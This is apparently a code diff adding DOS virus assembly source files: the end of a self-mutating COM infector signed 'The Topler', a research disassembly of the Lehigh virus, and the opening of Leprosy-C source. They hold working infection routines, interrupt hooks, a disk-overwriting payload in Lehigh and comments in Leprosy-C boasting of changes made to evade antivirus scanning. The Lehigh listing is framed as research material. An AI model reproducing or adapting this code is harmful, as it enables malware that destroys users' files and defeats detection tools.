|
||||
mov byte ptr ds:[14h],1
|
||||
and bh,80h
|
||||
mov ds:[4ffh],bh
|
||||
test bl,00000001b
|
||||
jnz mut1
|
||||
mov si,offset mutation1-offset begin
|
||||
add si,ds:[15h]
|
||||
lodsb
|
||||
xchg al,ds:[si]
|
||||
mov ds:[si-1],al
|
||||
mut1:
|
||||
test bl,00000010b
|
||||
jnz mut2
|
||||
mov si,offset mutation2-offset begin
|
||||
add si,ds:[15h]
|
||||
lodsw
|
||||
xchg ax,ds:[si]
|
||||
mov ds:[si-2],ax
|
||||
mut2:
|
||||
test bl,00000100b
|
||||
jnz mut3
|
||||
mov si,offset codeloop-offset begin
|
||||
mov al,2
|
||||
xor byte ptr ds:[si],al
|
||||
xor byte ptr ds:[si+2],al
|
||||
xor byte ptr ds:[si+3],al
|
||||
mut3:
|
||||
test bl,00001000b
|
||||
jnz mut4
|
||||
mov si,offset codenext-offset begin
|
||||
mov di,400h
|
||||
mov cx,offset codeloop-offset codenext-2
|
||||
push si
|
||||
push di
|
||||
lodsb
|
||||
cmp al,5eh
|
||||
je jmp1
|
||||
inc si
|
||||
jmp1:
|
||||
push cx
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop di
|
||||
cmp al,5eh
|
||||
je jmp2
|
||||
mov al,5Eh
|
||||
stosb
|
||||
rep movsb
|
||||
mov al,90h
|
||||
stosb
|
||||
xor ax,ax
|
||||
jmp short jmp3
|
||||
jmp2:
|
||||
mov ax,0C68Fh
|
||||
stosw
|
||||
rep movsb
|
||||
mov ax,1
|
||||
jmp3:
|
||||
mov cs:[15h],ax
|
||||
mut4:
|
||||
mov ah,30h
|
||||
int 21h
|
||||
cmp ax,1e03h
|
||||
jne nodos33
|
||||
mov ah,34h
|
||||
int 21h
|
||||
mov bx,1460h
|
||||
jmp short dos33
|
||||
nodos33:
|
||||
mov ax,3521h
|
||||
int 21h
|
||||
dos33:
|
||||
mov ds:[4],bx
|
||||
mov ds:[6],es
|
||||
mov si,21h*4
|
||||
pop ds
|
||||
push si
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset intend-offset begin+1
|
||||
movsw
|
||||
movsw
|
||||
pop di
|
||||
push ds
|
||||
pop es
|
||||
mov ax,offset int21-offset begin
|
||||
stosw
|
||||
mov ax,cs
|
||||
stosw
|
||||
mov di,offset mybeg-offset begin
|
||||
mov al,cs:[3ffh]
|
||||
coderloop:
|
||||
xor cs:[di],al
|
||||
inc di
|
||||
cmp di,offset coderloop-offset begin
|
||||
jc coderloop
|
||||
quit:
|
||||
mov ah,62h
|
||||
int 21h
|
||||
push bx
|
||||
mov ds,bx
|
||||
mov es,bx
|
||||
mov ax,100h
|
||||
push ax
|
||||
retf
|
||||
;------------------------------------------------------------------------------
|
||||
infect:
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
push di
|
||||
cld
|
||||
push cs
|
||||
pop ds
|
||||
xor dx,dx
|
||||
call movefp
|
||||
mov dx,400h
|
||||
mov ah,3fh
|
||||
mov cx,3
|
||||
call Dos
|
||||
jc infect4
|
||||
xor di,di
|
||||
mov ax,word ptr ds:[400h]
|
||||
mov cx,ds:[0]
|
||||
cmp cx,ax
|
||||
je infect8
|
||||
cmp al,0EBH ; near jmp
|
||||
jne infect1
|
||||
mov al,ah
|
||||
xor ah,ah
|
||||
add ax,2
|
||||
mov di,ax
|
||||
infect1:
|
||||
cmp al,0E9h ; far jmp
|
||||
jne infect2
|
||||
mov ax,ds:[401h]
|
||||
add ax,3
|
||||
mov di,ax
|
||||
xor ax,ax
|
||||
infect2:
|
||||
cmp ax,'MZ'
|
||||
je infect4
|
||||
cmp ax,'ZM'
|
||||
jne infect3
|
||||
infect4:
|
||||
stc
|
||||
infect8:
|
||||
jmp infectquit
|
||||
infect3:
|
||||
mov dx,di
|
||||
push cx
|
||||
call movefp
|
||||
mov dx,400h
|
||||
mov ah,3fh
|
||||
mov cx,dx
|
||||
call Dos
|
||||
pop cx
|
||||
jc infect4
|
||||
cmp ds:[400h],cx
|
||||
je infect8
|
||||
mov ax,di
|
||||
sub ah,-4
|
||||
cmp ax,ds:[2]
|
||||
jnc infect4
|
||||
mov dx,ds:[2]
|
||||
call movefp
|
||||
mov dx,400h
|
||||
mov cx,dx
|
||||
mov ah,40h
|
||||
call Dos
|
||||
infect6:
|
||||
jc infectquit
|
||||
mov dx,di
|
||||
call movefp
|
||||
push cs
|
||||
pop es
|
||||
mov di,400h
|
||||
push di
|
||||
push di
|
||||
xor si,si
|
||||
mov cx,di
|
||||
rep movsb
|
||||
mov si,400h+offset coderloop-offset begin
|
||||
mov al,ds:[7ffh]
|
||||
infect5:
|
||||
xor ds:[si],al
|
||||
inc si
|
||||
cmp si,07ffh
|
||||
jc infect5
|
||||
pop cx
|
||||
pop dx
|
||||
mov ah,40h
|
||||
call Dos
|
||||
infectquit:
|
||||
pop di
|
||||
pop es
|
||||
pop ds
|
||||
pop si
|
||||
ret
|
||||
int21:
|
||||
cmp ax,4b00h
|
||||
je exec
|
||||
cmp ah,3eh
|
||||
je close
|
||||
cmp ah,11h
|
||||
je dir
|
||||
cmp ah,12h
|
||||
je dir
|
||||
intend:
|
||||
db 0eah,0,0,0,0
|
||||
|
||||
dir:
|
||||
push si
|
||||
mov si,offset intend-offset begin+1
|
||||
pushf
|
||||
call dword ptr cs:[si]
|
||||
pop si
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,2fh
|
||||
call dos
|
||||
cmp byte ptr es:[bx],0ffh
|
||||
jne dir2
|
||||
add bx,7
|
||||
dir2:
|
||||
mov ax,es:[bx+17h]
|
||||
and ax,1fh
|
||||
cmp ax,1eh
|
||||
jne dir1
|
||||
mov ax,es:[bx+1dh]
|
||||
cmp ax,0801h
|
||||
jc dir1
|
||||
sub ax,400h
|
||||
mov es:[bx+1dh],ax
|
||||
dir1:
|
||||
pop es
|
||||
pop bx
|
||||
pop ax
|
||||
iret
|
||||
int24:
|
||||
mov al,3
|
||||
iret
|
||||
Dos:
|
||||
pushf
|
||||
call dword ptr cs:[4]
|
||||
ret
|
||||
moveFP:
|
||||
xor cx,cx
|
||||
mov ax,4200h
|
||||
call Dos
|
||||
ret
|
||||
exec:
|
||||
push ax
|
||||
push bx
|
||||
mov byte ptr cs:[14h],0
|
||||
mov ax,3d00h
|
||||
call dos
|
||||
mov bx,ax
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
pop bx
|
||||
pop ax
|
||||
intendjmp:
|
||||
jmp short intend
|
||||
close:
|
||||
or byte ptr cs:[14h],0
|
||||
jnz intendjmp
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
call setaddr
|
||||
call setint
|
||||
mov ax,1220h
|
||||
int 2fh
|
||||
jc closequit
|
||||
mov ax,1216h
|
||||
mov bl,es:[di]
|
||||
xor bh,bh
|
||||
int 2fh
|
||||
mov ax,es:[di+11h]
|
||||
mov cs:[2],ax
|
||||
mov ax,es:[di+0dh]
|
||||
and al,0f8h
|
||||
mov cs:[12h],ax
|
||||
mov ax,es:[di+0fh]
|
||||
mov cs:[10h],ax
|
||||
cmp word ptr es:[di+29h],'MO'
|
||||
jne closequit
|
||||
cmp byte ptr es:[di+28h],'C'
|
||||
jne closequit
|
||||
cmp cs:[2],0FA00h
|
||||
jnc closequit
|
||||
mov al,20h
|
||||
xchg al,es:[di+4]
|
||||
mov ah,2
|
||||
xchg es:[di+2],ah
|
||||
pop bx
|
||||
push bx
|
||||
push ax
|
||||
call infect
|
||||
pop ax
|
||||
mov es:[di+4],al
|
||||
mov es:[di+2],ah
|
||||
mov cx,cs:[12h]
|
||||
jc close1
|
||||
or cl,1fh
|
||||
and cl,0feh
|
||||
close1:
|
||||
mov dx,cs:[10h]
|
||||
mov ax,5701h
|
||||
call Dos
|
||||
closequit:
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
call dos
|
||||
call setint
|
||||
retf 02
|
||||
setaddr:
|
||||
mov ah,13h
|
||||
int 2fh
|
||||
mov cs:[8d],bx
|
||||
mov cs:[10d],es
|
||||
int 2fh
|
||||
mov cs:[12d],offset int24-offset begin
|
||||
mov cs:[14d],cs
|
||||
ret
|
||||
setint:
|
||||
push ax
|
||||
push si
|
||||
push ds
|
||||
pushf
|
||||
cli
|
||||
cld
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov si,13h*4
|
||||
lodsw
|
||||
xchg ax,cs:[8]
|
||||
mov ds:[si-2],ax
|
||||
lodsw
|
||||
xchg ax,cs:[10d]
|
||||
mov ds:[si-2],ax
|
||||
mov si,24h*4
|
||||
lodsw
|
||||
xchg ax,cs:[12d]
|
||||
mov ds:[si-2],ax
|
||||
lodsw
|
||||
xchg ax,cs:[14d]
|
||||
mov ds:[si-2],ax
|
||||
popf
|
||||
pop ds
|
||||
pop si
|
||||
pop ax
|
||||
ret
|
||||
msg:
|
||||
db 'The leech live ...',0
|
||||
db 'April 1991 The Topler.',0
|
||||
|
||||
org 0F00h
|
||||
|
||||
int 20h
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,315 @@
|
||||
page 65,132
|
||||
title The 'Lehigh' Virus
|
||||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
; º British Computer Virus Research Centre º
|
||||
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
|
||||
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
|
||||
; º º
|
||||
; º The 'Lehigh' Virus º
|
||||
; º Disassembled by Joe Hirst, July 1989 º
|
||||
; º º
|
||||
; º Copyright (c) Joe Hirst 1989. º
|
||||
; º º
|
||||
; º This listing is only to be made available to virus researchers º
|
||||
; º or software writers on a need-to-know basis. º
|
||||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
|
||||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||||
|
||||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:CODE
|
||||
|
||||
; Interrupt 21H routine
|
||||
|
||||
BP0010: PUSH AX
|
||||
PUSH BX
|
||||
CMP AH,4BH ; Load function?
|
||||
JE BP0020 ; Branch if yes
|
||||
CMP AH,4EH ; Find file file?
|
||||
JE BP0020 ; Branch if yes
|
||||
JMP BP0170 ; Pass interrupt on
|
||||
|
||||
; Load or find file function
|
||||
|
||||
BP0020: MOV BX,DX ; Get pathname pointer
|
||||
CMP BYTE PTR [BX+1],':' ; Is a disk specified?
|
||||
JNE BP0030 ; Branch if not
|
||||
MOV AL,[BX] ; Get disk letter
|
||||
JMP BP0040
|
||||
|
||||
; Is there a COMMAND.COM on disk?
|
||||
|
||||
BP0030: MOV AH,19H ; Get current disk function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
ADD AL,'a' ; Convert to letter
|
||||
BP0040: PUSH DS
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
MOV BX,OFFSET PATHNM ; Address pathname
|
||||
MOV [BX],AL ; Store disk letter in pathname
|
||||
MOV DX,BX ; Move pathname address
|
||||
MOV AX,3D02H ; Open handle (R/W) function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
JNB BP0050 ; Branch if no error
|
||||
JMP BP0160 ; Restore registers and terminate
|
||||
|
||||
; Is COMMAND.COM infected?
|
||||
|
||||
BP0050: MOV BX,AX ; Move file handle
|
||||
MOV AX,4202H ; Move file pointer function (EOF)
|
||||
XOR CX,CX ; \ No offset
|
||||
MOV DX,CX ; /
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
MOV DX,AX ; Copy file length
|
||||
MOV FILELN,AX ; Save file length
|
||||
SUB DX,2 ; Address last word of file
|
||||
MOV AX,4200H ; Move file pointer function (start)
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
MOV DX,OFFSET BUFFER ; Address read buffer
|
||||
MOV CX,2 ; Length to read
|
||||
MOV AH,3FH ; Read handle function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
CMP WORD PTR BUFFER,65A9H ; Is file infected?
|
||||
JNE BP0060 ; Branch if not
|
||||
JMP BP0080
|
||||
|
||||
; Infect COMMAND.COM
|
||||
|
||||
BP0060: XOR DX,DX ; \ No offset
|
||||
MOV CX,DX ; /
|
||||
MOV AX,4200H ; Move file pointer function (start)
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
MOV CX,3 ; Length to read
|
||||
MOV DX,OFFSET BUFFER ; Address read buffer
|
||||
MOV DI,DX ; Copy address
|
||||
MOV AH,3FH ; Read handle function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
MOV AX,[DI+1] ; Get displacement from initial jump
|
||||
ADD AX,0103H ; Convert to address for COM file
|
||||
MOV ENTPTR,AX ; Save file entry address
|
||||
MOV DX,FILELN ; Get file length
|
||||
SUB DX,OFFSET ENDADR ; Subtract length of virus
|
||||
DEC DX ; ...and one more
|
||||
MOV [DI],DX ; Put offset into jump instruction
|
||||
XOR CX,CX ; Clear high offset for move
|
||||
MOV AX,4200H ; Move file pointer function (start)
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
MOV AL,INFCNT ; Get infection count
|
||||
PUSH AX ; Preserve infection count
|
||||
MOV BYTE PTR INFCNT,0 ; Set infection count to zero
|
||||
MOV CX,OFFSET ENDADR ; \ Get length of virus
|
||||
INC CX ; /
|
||||
XOR DX,DX ; Address start of virus
|
||||
MOV AH,40H ; Write handle function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
POP AX ; Recover infection count
|
||||
MOV INFCNT,AL ; Restore original infection count
|
||||
XOR CX,CX ; \ Address second byte of program
|
||||
MOV DX,1 ; /
|
||||
MOV AX,4200H ; Move file pointer function (start)
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
MOV AX,[DI] ; Get virus offset
|
||||
ADD AX,OFFSET BP0180 ; Add entry point
|
||||
SUB AX,3 ; Subtract length of jump instruction
|
||||
MOV [DI],AX ; Replace offset
|
||||
MOV DX,DI ; Address stored offset
|
||||
MOV CX,2 ; Length to write
|
||||
MOV AH,40H ; Write handle function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
INC BYTE PTR INFCNT ; Increment infection count
|
||||
CMP BYTE PTR INFCNT,4 ; Have we reached target?
|
||||
JB BP0070 ; Branch if not
|
||||
JMP BP0110 ; Trash disk
|
||||
|
||||
; Is disk A or B?
|
||||
|
||||
BP0070: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch
|
||||
CMP BYTE PTR CURDSK,2 ; Is current disk A or B?
|
||||
JB BP0080 ; Branch if yes
|
||||
MOV BYTE PTR N_AORB,1 ; Set on "not A or B" switch
|
||||
BP0080: MOV AH,3EH ; Close handle function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
CMP BYTE PTR N_AORB,1 ; Is "not A or B" switch on?
|
||||
JE BP0090 ; Branch if yes
|
||||
JMP BP0160 ; Restore registers and terminate
|
||||
|
||||
; Disk not A or B
|
||||
|
||||
BP0090: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch
|
||||
MOV BX,OFFSET PATHNM ; Address pathname
|
||||
MOV AL,CURDSK ; Get current disk
|
||||
ADD AL,'a' ; Convert to letter
|
||||
MOV [BX],AL ; Store letter in pathname
|
||||
MOV DX,BX ; Move pathname address
|
||||
MOV AX,3D02H ; Open handle (R/W) function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
JNB BP0100 ; Branch if no error
|
||||
JMP BP0160 ; Restore registers and terminate
|
||||
|
||||
; Set infection count same as in current program
|
||||
|
||||
BP0100: MOV BX,AX
|
||||
MOV AX,4202H ; Move file pointer function (EOF)
|
||||
XOR CX,CX ; \ No offset
|
||||
MOV DX,CX ; /
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
MOV DX,AX ; \ Address back to infection count
|
||||
SUB DX,7 ; /
|
||||
MOV AX,4200H ; Move file pointer function (start)
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
MOV CX,1 ; Length to write
|
||||
MOV DX,OFFSET INFCNT ; Address infection count
|
||||
MOV AH,40H ; Write handle function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
MOV AH,3EH ; Close handle function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
JMP BP0160 ; Restore registers and terminate
|
||||
|
||||
; Trash disk
|
||||
|
||||
BP0110: MOV AL,CURDSK ; Get current disk
|
||||
CMP AL,2 ; Is disk A or B?
|
||||
JNB BP0150 ; Branch if not
|
||||
MOV AH,19H ; Get current disk function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
MOV BX,OFFSET PATHNM ; Address pathname
|
||||
MOV DL,[BX] ; Get drive letter from pathname
|
||||
CMP DL,'A' ; Is drive letter 'A'?
|
||||
JE BP0120 ; Branch if yes
|
||||
CMP DL,'a' ; Is drive letter 'a'?
|
||||
JE BP0120 ; Branch if yes
|
||||
CMP DL,'b' ; Is drive letter 'b'?
|
||||
JE BP0130 ; Branch if yes
|
||||
CMP DL,'B' ; Is drive letter 'B'?
|
||||
JE BP0130 ; Branch if yes
|
||||
JMP BP0160 ; Restore registers and terminate
|
||||
|
||||
; Drive A
|
||||
|
||||
BP0120: MOV DL,0 ; Set drive A
|
||||
JMP BP0140
|
||||
|
||||
; Drive B
|
||||
|
||||
BP0130: MOV DL,1 ; Set drive B
|
||||
BP0140: CMP AL,DL ; Is this the same as current?
|
||||
JNE BP0150 ; Branch if not
|
||||
JMP BP0160 ; Restore registers and terminate
|
||||
|
||||
; Write lump of BIOS to floppy disk
|
||||
|
||||
BP0150: MOV SI,0FE00H ; \ Address BIOS (?)
|
||||
MOV DS,SI ; /
|
||||
MOV CX,0020H ; Write 32 sectors
|
||||
MOV DX,1 ; Start at sector one
|
||||
INT 26H ; Absolute disk write
|
||||
POPF
|
||||
MOV AH,9 ; Display string function
|
||||
MOV DX,1840H
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
BP0160: POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP DS
|
||||
BP0170: POP BX
|
||||
POP AX
|
||||
JMP CS:INT_21 ; Branch to original Int 21H
|
||||
|
||||
; Original Int 21H vector
|
||||
|
||||
INT_21 EQU THIS DWORD
|
||||
DW 138DH ; Int 21H offset
|
||||
DW 0295H ; Int 21H segment
|
||||
|
||||
; Entry point for infected program
|
||||
|
||||
BP0180: CALL BP0190 ; \ Get current address
|
||||
BP0190: POP SI ; /
|
||||
SUB SI,3 ; Address back to BP0180
|
||||
MOV BX,SI ; \ Address of virus start
|
||||
SUB BX,OFFSET BP0180 ; /
|
||||
PUSH BX ; Save address of virus start
|
||||
ADD BX,OFFSET FILELN ; Address file length
|
||||
MOV AH,19H ; Get current disk function
|
||||
INT 21H ; DOS service
|
||||
MOV [BX-1],AL ; Save current disk
|
||||
MOV AX,[BX] ; Get file length
|
||||
ADD AX,0100H ; Add PSP length
|
||||
MOV CL,4 ; \ Convert to paragraphs
|
||||
SHR AX,CL ; /
|
||||
INC AX ; Allow for remainder
|
||||
MOV BX,AX ; Copy paragraphs to keep
|
||||
MOV AH,4AH ; Set block function
|
||||
INT 21H ; DOS service
|
||||
JNB BP0200 ; Branch if no error
|
||||
JMP BP0220 ; Pass control to host
|
||||
|
||||
; Allocate memory for virus
|
||||
|
||||
BP0200: MOV CL,4 ; Bits to move
|
||||
MOV DX,OFFSET ENDADR ; Length of virus
|
||||
SHR DX,CL ; Convert to paragraphs
|
||||
INC DX ; Allow for remainder
|
||||
MOV BX,DX ; Copy paragraphs for virus
|
||||
MOV AH,48H ; Allocate memory function
|
||||
INT 21H ; DOS service
|
||||
JNB BP0210 ; Branch if no error
|
||||
JMP BP0220 ; Pass control to host
|
||||
|
||||
; Install virus in memory
|
||||
|
||||
BP0210: PUSH ES
|
||||
PUSH AX ; Preserve allocated memory segment
|
||||
MOV AX,3521H ; Get Int 21H function
|
||||
INT 21H ; DOS service
|
||||
MOV [SI-4],BX ; Save Int 21H offset
|
||||
MOV [SI-2],ES ; Save Int 21H segment
|
||||
POP ES ; Recover allocated memory segment
|
||||
PUSH SI
|
||||
SUB SI,OFFSET BP0180 ; Address back to start of virus
|
||||
XOR DI,DI ; Target start of new area
|
||||
MOV CX,OFFSET ENDADR ; \ Length of virus
|
||||
INC CX ; /
|
||||
REPZ MOVSB ; Copy virus to new area
|
||||
POP SI
|
||||
PUSH DS
|
||||
MOV DX,[SI-4] ; Get Int 21H offset
|
||||
MOV AX,[SI-2] ; \ Set DS to Int 21H segment
|
||||
MOV DS,AX ; /
|
||||
MOV AX,2544H ; Set Int 44H function
|
||||
INT 21H ; DOS service
|
||||
PUSH ES ; \ Set DS to ES
|
||||
POP DS ; /
|
||||
XOR DX,DX ; Interrupt 21H routine (BP0010)
|
||||
MOV AX,2521H ; Set Int 21H function
|
||||
INT 44H ; DOS service (diverted INT 21H)
|
||||
POP DS
|
||||
POP ES
|
||||
BP0220: POP BX
|
||||
PUSH ENTPTR[BX] ; Push COM file entry address
|
||||
RET ; ...and return to it
|
||||
|
||||
PATHNM DB 'b:\command.com', 0 ; Pathname
|
||||
BUFFER DB 7FH, 58H, 0BH, 0, 0 ; Read buffer
|
||||
ENTPTR DW 0CB0H ; File entry address
|
||||
N_AORB DB 0 ; "Not A or B" switch
|
||||
INFCNT DB 0 ; Infection count
|
||||
DB 0
|
||||
CURDSK DB 0 ; Current disk
|
||||
FILELN DW 5AAAH ; File length
|
||||
DW 65A9H ; Infection indicator
|
||||
|
||||
ENDADR EQU $-1
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,297 @@
|
||||
; <LEPROSYB.ASM> - Leprosy-B Virus Source
|
||||
; Copy-ya-right (c) 1990 by PCM2.
|
||||
;
|
||||
; This file is the source code to the Leprosy-B virus. It should
|
||||
; be assembled with an MASM-compatible assembler; it has been tested
|
||||
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
|
||||
; It should be made into a .COM file before executing, with either
|
||||
; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
|
||||
;
|
||||
; This program has the potential to permanently destroy executable
|
||||
; images on any disk medium. Other modifications may have been made
|
||||
; subsequent to the original release by the author, either benign,
|
||||
; or which could result in further harm should this program be run.
|
||||
; In any case, the author assumes no responsibility for any damage
|
||||
; caused by this program, incidental or otherwise. As a precaution,
|
||||
; this program should not be turned over to irresponsible hands...
|
||||
; (unlike people like us, that is).
|
||||
;
|
||||
;;-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-
|
||||
;;
|
||||
;; <LEPROSYC.ASM> - This virus is not really Leprosy-B. It is, in
|
||||
;; fact, ALMOST the same. When I encountered the
|
||||
;; source code and assembled it, I found, obviously
|
||||
;; to my disappointment, that SCAN v77 could find
|
||||
;; it. Since it is a self-encrypting virus, I knew
|
||||
;; EXACTLY how to fix this problem (after all,
|
||||
;; being part of McPhee's programs is a sure way to
|
||||
;; know that your virus has been a big hit, but it
|
||||
;; also means that it will soon meet a terrible end.
|
||||
;; Presented with such a sad situation, I decided I
|
||||
;; would modify the virus to give it one more shot
|
||||
;; at the outside world. Not only that, but I will
|
||||
;; make TWO new versions. This one, in particular,
|
||||
;; will preserve the traditional length of 666, and
|
||||
;; will only have a slight modification. You see,
|
||||
;; since the virus encrypts itself, McPhee must go
|
||||
;; on 1 or both of two paths. He must either use
|
||||
;; the whole non-encrypted portion as an ID string,
|
||||
;; or he must use the file offset where the value
|
||||
;; for decrypting is normally stored, XOR it with
|
||||
;; the rest of the program (this is how it encrypts
|
||||
;; and decrypts itself), and then try to identify
|
||||
;; the decrypted code as the virus. By changing
|
||||
;; where the encryption value is stored in the non-
|
||||
;; encrypted portion and putting a zero there in-
|
||||
;; stead, (along with altering the primary instruc-
|
||||
;; tions slightly), I have made it undetectable by
|
||||
;; SCAN, despite the fact that it is (in all other
|
||||
;; aspects) the same damn thing.
|
||||
;; Have fun!
|
||||
;; The BOOT SECTOR Infector...
|
||||
;;
|
||||
;; NOTE: Also, (in case you haven't already noticed) all of the changes
|
||||
;; I make to this program will have a double semicolon (;;) on
|
||||
;; them somewhere. This is to reinforce the fact that I DID
|
||||
;; NOT do the original work on this virus. That credit is left
|
||||
;; appropriately to PCM2. And I respect his brilliance in its
|
||||
;; coding (especially the encrypt/decrypt portion!) <grin!>
|
||||
;; L8r peepz!
|
||||
;;
|
||||
|
||||
|
||||
|
||||
title "Leprosy-C Virus by PCM2, August 1990"
|
||||
;; With additional modifications by TBSI, June 1991
|
||||
|
||||
|
||||
cr equ 13 ; Carriage return ASCII code
|
||||
lf equ 10 ; Linefeed ASCII code
|
||||
tab equ 9 ; Tab ASCII code
|
||||
virus_size equ 666 ; Size of the virus file
|
||||
code_start equ 100h ; Address right after PSP in memory
|
||||
dta equ 80h ; Addr of default disk transfer area
|
||||
datestamp equ 24 ; Offset in DTA of file's date stamp
|
||||
timestamp equ 22 ; Offset in DTA of file's time stamp
|
||||
filename equ 30 ; Offset in DTA of ASCIIZ filename
|
||||
attribute equ 21 ; Offset in DTA of file attribute
|
||||
|
||||
|
||||
code segment 'code' ; Open code segment
|
||||
assume cs:code,ds:code ; One segment for both code & data
|
||||
org code_start ; Start code image after PSP
|
||||
|
||||
;---------------------------------------------------------------------
|
||||
; All executable code is contained in boundaries of procedure "main".
|
||||
; The following code, until the start of "virus_code", is the non-
|
||||
; encrypted CMT portion of the code to load up the real program.
|
||||
;---------------------------------------------------------------------
|
||||
main proc near ; Code execution begins here
|
||||
call encrypt_decrypt ; Decrypt the real virus code
|
||||
jmp random_mutation ; Put the virus into action
|
||||
db 0 ;; This line inserted by TBSI. If
|
||||
;; McPhee uses the second technique
|
||||
;; described in my speech, then it
|
||||
;; will find the zero and consider
|
||||
;; it to be the value it wants, even
|
||||
;; though using a zero will make it
|
||||
;; do absolutely NOTHING!
|
||||
encrypt_val db 00h ; Hold value to encrypt by here
|
||||
|
||||
; ---------- Encrypt, save, and restore the virus code -----------
|
||||
infect_file:
|
||||
mov bx,handle ; Get the handle
|
||||
push bx ; Save it on the stack
|
||||
call encrypt_decrypt ; Encrypt most of the code
|
||||
pop bx ; Get back the handle
|
||||
nop ;; Added by TBSI to through of McPhee
|
||||
mov cx,virus_size ; Total number of bytes to write
|
||||
mov dx,code_start ; Buffer where code starts in memory
|
||||
mov ah,40h ; DOS write-to-handle service
|
||||
int 21h ; Write the virus code into the file
|
||||
call encrypt_decrypt ; Restore the code as it was
|
||||
ret ; Go back to where you came from
|
||||
|
||||
; --------------- Encrypt or decrypt the virus code ----------------
|
||||
encrypt_decrypt:
|
||||
mov bx,offset virus_code ; Get address to start encrypt/decrypt
|
||||
xor_loop: ; Start cycle here
|
||||
mov ah,[bx] ; Get the current byte
|
||||
xor ah,encrypt_val ; Engage/disengage XOR scheme on it
|
||||
mov [bx],ah ; Put it back where we got it
|
||||
inc bx ; Move BX ahead a byte
|
||||
nop ;; Added by TBSI to through of McPhee
|
||||
cmp bx,offset virus_code+virus_size ; Are we at the end?
|
||||
jle xor_loop ; If not, do another cycle
|
||||
ret ; and go back where we came from
|
||||
|
||||
;-----------------------------------------------------------------------
|
||||
; The rest of the code from here on remains encrypted until run-time,
|
||||
; using a fundamental XOR technique that changes via CMT.
|
||||
;-----------------------------------------------------------------------
|
||||
virus_code:
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; All strings are kept here in the file, and automatically encrypted.
|
||||
; Please don't be a lamer and change the strings and say you wrote a virus.
|
||||
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
|
||||
; changes, even when the strings stay the same.
|
||||
;----------------------------------------------------------------------------
|
||||
exe_filespec db "*.EXE",0
|
||||
com_filespec db "*.COM",0
|
||||
newdir db "..",0
|
||||
fake_msg db cr,lf,"Program too big to fit in memory$"
|
||||
